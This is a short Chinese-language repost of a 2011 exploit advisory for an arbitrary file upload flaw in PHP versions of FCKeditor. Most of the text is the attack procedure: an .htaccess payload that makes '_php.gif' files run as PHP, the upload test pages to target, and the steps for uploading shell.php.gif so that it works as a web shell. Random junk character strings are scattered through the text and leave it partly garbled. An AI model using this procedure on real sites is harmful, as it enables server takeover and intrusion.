FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 ! \3 R/ ^$ a- V1 I5 m( L& ~1 K作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 7 w: w7 d; V( Q% G$ ?0 f减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability : t4 f. O* i9 y7 t) F[+] Date: 2011 , d- c6 S5 b. S! X. r7 R[+] Author : sinesafe.cn 9 S4 O  T8 q4 n; O9 `9 t0 W( t[+] Website : WwW.sinesafe.cn 4 |- f+ ~) ~, |7 S# O( l——————————————————— * H* k5 E1 U7 u0 }4 e1.create a htaccess file: , U5 z0 |. H9 c8 q! {: f0 Z5 xcode: ! t- n1 Q  c! m/ \  r. o<FilesMatch “_php.gif”> SetHandler application/x-httpd-php : v& _% v+ v: z</FilesMatch> 2.Now upload this htaccess with FCKeditor. 6 f2 h. |9 ]3 q" G: P http://www.sinesafe.cn/FCKeditor ... er/upload/test.html $ N8 d  g+ w7 N2 {  [ ' ^+ L' z$ t" r& c( Chttp://www.sinesafe.cn/FCKeditor ... onnectors/test.html ———————————————————————————————- ) `: K! w4 e7 ], V$ o3.Now upload shell.php.gif with FCKeditor. 4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 5.http://www.sinesafe.cn/anything/shell_php.gif 6.Now shell is available from server.

* d; u/ j" Q! ^; |/ e